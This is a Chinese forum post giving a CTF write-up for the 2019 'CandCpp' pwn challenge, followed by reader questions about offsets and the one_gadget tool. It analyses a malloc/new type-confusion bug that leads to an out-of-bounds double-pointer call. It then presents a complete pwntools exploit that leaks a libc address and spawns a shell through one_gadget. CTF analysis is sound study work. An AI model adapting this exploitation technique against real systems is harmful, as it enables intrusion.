首页
社区
课程
招聘
[原创]2019CTF晋级赛Q1第九题CandCpp 分析
2019-3-22 22:13 6452

[原创]2019CTF晋级赛Q1第九题CandCpp 分析

2019-3-22 22:13
6452

静态分析

先看看保护机制

 

然后拖进IDA分析下:

主流程

 

输入名字到一个全局变量,然后接下来是菜单:

里面有指示对应的功能!
下边还有个sub_400e10的函数,有点奇怪:

联想强网杯的一道题,这个应该是用来泄露的。因为条件不满足,正常条件怎么也不会触发。

malloc功能


输入lenth,然后这个公式变形

然后调用传入的函数指针的函数(分配作用)),传入这个函数的参数也是刚才变形之后的结果。
然后来看看分配的函数的功能:

申请以24字节为单位的块,然后每个24字节的块清零后两个8字节。
相当于,分配内存初始化 ,有点构造函数的味道,但构造函数不分配内存。
然后返回分配的内存指针,然后记录在ptr数组中。
然后就是读入数据:

也是以24字节为单位只往后16字节读入数据。

free功能


输入索引然后,查看ptr对应索引是否有值,然后以索引为参数调用函数指针传入的函数,sub_400ce0:

free对应内存,然后填0,没有UAF

New功能


和malloc的功能差不多,最主要的区别在于调用传入的函数,这个函数功能不一样:

判断一下传入a1,然后以24*a1+8为参数new对应大小的内存,也就是多了8字节,然后在new的内存开始处8字节存入size(以24为单位),以它往后都是以24字节为单位,第一个8字节存一个函数地址,然后后面两个清0。
其实就是多的8字节用来存size(以24为单位)。

Delete 功能


和free功能一样,然后区别在于调用的传入的函数。

先从这篇内存中取出第一个8字节中存的size,然后计算出分配的这块内存的结束地址。
这个函数是关键,如果看伪码看不出,所以我调试下给大家看
用Python计算了当输入是16的时候申请的是2*24+8大小的块:

所以我申请输入16:

然后断下来后,看申请的内存:

深红圈住的是size:2
看执行情况

rdx里边存的就是ptr数组中存的地址,看看寄存器:

存的是0x614C28
mov rax,[rdx-8]
其实就是访问size了,执行下:

然后:

其实就是rdx+48,指向当前分配的内存的结束。

经过调试可以相信应该看得很清楚了吧!

 

然后就是从分配的内存的最后往上0x18个字节,就是跳过最后一个24字节,然后取里边的内容,其实取到了那个函数地址,然后访问里边的内容,与目标进行比较。

然后看里边的内容是不是和之前填的那个函数地址的内容一样,其实就是这里默认比较的东西。

如果不一样就会传入对应的内存地址v2(也就是当前的存有函数地址的内存地址)作为参数,调用它,关键就在这里,如果我们该掉它?或者错误的引导程序让他觉得别的地方填的内容就是它要比较的,如果不匹配然后就执行。
其实这里有个二重指针解引用
试想,我们把程序取出函数地址的地方指向一个存有我们想要执行的函数的内存,当发生这个二重指针解引用的时候不就取到了我们想要执行的函数了么?然后开始执行。这个程序没有Pie,全局段完全可以使用,所以你懂得!
并且这里还有个循环:

可造成多次检查和执行,可以构造出rop的效果。
如果和原来一样就delete掉原来的内存,然后填0.

puts功能


输入索引,然后检查数组,然后执行传入的函数:
伪码有问题,直接看汇编吧:

其实就是printf("%s",ptr[idx]+8+24*i)
用来打印每个24字节块的后16个字节.

 

自此程序的功能都弄清楚了!

利用构思。

前面说了,delete功能会首先获得内存块的size,然后跳到根据size计算出来的这个块的地方,然后获取指针,检查那个填入块的函数指针,然后根据它是不是默认的那个来决定是否执行
而malloc功能的块比new功能的块少8个字节,当malloc功能的块拿去delete的时候,就会将对应的chunk的size段当做那个size,然后去取,就会造成错误。
调试检验下:
malloc一个24的块,输入1的时候那个公式算出来是1,这里我就不截图了,然后拿去delete,断下来:

看下分配的chunk:

然后进入流程:

rdx指向的分配的那个开始,然后取rdx-8的内容:

然后取到了size字段的0x21,然后经过那样去计算之后,会发生越界:

看看我们之前分配的内存:

已经越界到很下面去了。

 

试想我们在malloc后的内存还new了一块,在里边填好了内容,当发生越界的时候,其实就是越界到new的那块内存,去访问我们可控的内容了,然后攻击开始了

 

所以攻击思路是,malloc一个24的块,然后new一个很大的块,在里边通过我们借助我们输入的name里边填入sub_400e10,然后将name的地址填入new的内存的某个地方,使得当程序在delete malloc的内存的时候,可以越界访问到new里边的我们构造的内容,恰好取到存有name地址的地方,然后二重指针解引用,然后执行我们想要的。应先泄露地址,然后再次返回到主程序开始输入name的流程,改变name的内容为one_gadget。然后再次delete 刚才malloc的那块,又会触发执行的那个流程,但是由于name里边指向的是one_gadget,所以这次会触发one_gadget

exp编写

在name中填入泄露的函数地址0x400e10,以及0x4009ce(程序开始提示输入name的地方)

然后new一个大块,里边的内容是我精心构造的,多次调试确定偏移量,这里略过了

实现的效果就是:


越界的时候就会去取0x602328也就是name里边的内容,然后与其比较,里边存的是泄露函数的地址,与默认的不一样就会执行泄露的函数。
取0x21:

然后越界:

然后是二重指针解引用,取出了0x400e10,然后与目标比较然后执行,泄露地址。

执行完后,然后又开始刚才的操作,只不过取得是0x4009ce:

回到程序的主流程,填入one_gadget之后。再delete即可,就会触发onegadget。这里和前面的操作都是一样的了。
delete malloc的那块,触发泄露函数,泄露地址,然后再进入输入name的主流程中,填入one_gadget,然后再次delete触发one_gadget

完整exp:

from pwn import *
context.log_level="debug"
def malloc(size,content):
    p.sendlineafter(">> ","1")
    p.sendlineafter("Please input length of the string\n",str(size))
    total=((0x8888888888888889 * (size + 14) >> 64) >> 3)
    p.recvuntil("Please input the string\n")
    for i in range(total):
        p.sendline(content[i])
def new(size,content):
    p.sendlineafter(">> ","3")
    p.sendlineafter("string\n",str(size))
    total=(0x8888888888888889 * (size + 14) >> 64) >> 3
    p.recvuntil("string\n")
    for i in range(total-1):
         p.send(content[i])
def free(idx):
    p.sendlineafter(">> ","2")
    p.sendlineafter("string\n",str(idx))
def delete(idx):
    p.sendlineafter(">> ","4")
    p.sendlineafter("index",str(idx))
def puts(idx):
    p.sendlineafter(">> ","4")
    p.sendlineafter("string\n",str(idx))
def name(name):
    p.sendlineafter("name:",name)
libc=ELF('./candcpp.so')
puts_addr=0x602018
call_delete=0x400d90
name_addr=0x602328
leak=0x400e10
#p=remote("154.8.222.144",9999)
p=process("./candcpp")
name(p64(leak)+p64(0x4009ce))
malloc(5,["aaaa"])
l=["a"*16  for i in range(100) ]
l[26]="a"*19
l[27]=p64(name_addr+8)+'\0'*7
l[28]=p64(name_addr)+'\0'*8
print l[29]
new(0x400,l)
gdb.attach(p,"b *"+str(call_delete))
p.sendline("0")
delete(0)
p.recvuntil("string\n")
add=(p.recv(14))
print (add)
one_gadget=0x4526a+int(add,16)-libc.symbols['puts']
print hex(one_gadget)
p.recvuntil("name:")
p.sendline(p64(one_gadget))
#gdb.attach(p,"b *"+str(call_delete))
delete(0)
p.interactive()

分析结束,希望能帮到大家


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞3
打赏
分享
最新回复 (4)
雪    币: 18
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
endingc 2019-3-30 15:52
2
0
大师傅,你能告诉我你的main地址为啥设在0x4009ce而不是在0x4009a0,我设在0x4009a0crash掉了
雪    币: 18
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
endingc 2019-3-30 15:56
3
0
还有我的onegadget有点问题
你知道怎么回事吗
雪    币: 4871
活跃值: (821)
能力值: ( LV13,RANK:319 )
在线值:
发帖
回帖
粉丝
notwolf 4 2019-3-30 20:56
4
0
endingc 大师傅,你能告诉我你的main地址为啥设在0x4009ce而不是在0x4009a0,我设在0x4009a0crash掉了
我之所以设置在0x4009ce是因为我当前攻击的时候只需要它输入,所以我直接设置在0x4009ce,理论上设置在Main函数的开头也是可以的但是这里可能有什么其他影响吧才会导致crus。

至于one_gadget,,这个你需要装一个小程序,我不知道你怎么装的,我装的时候那个使用ruby写的,装完ruby然后再一条命令就解决了,没有出现过你的整合各个错误,建议重装下哈
雪    币: 4871
活跃值: (821)
能力值: ( LV13,RANK:319 )
在线值:
发帖
回帖
粉丝
notwolf 4 2019-4-4 21:26
5
0
endingc 还有我的onegadget有点问题你知道怎么回事吗
我知道为啥你的One_gadget 报那个错是为啥了。因为one_gadget更新了,现在是1.70版本,需要那个东西的支持,所以得安装那个东西,我刚刚遇到了
游客
登录 | 注册 方可回帖
返回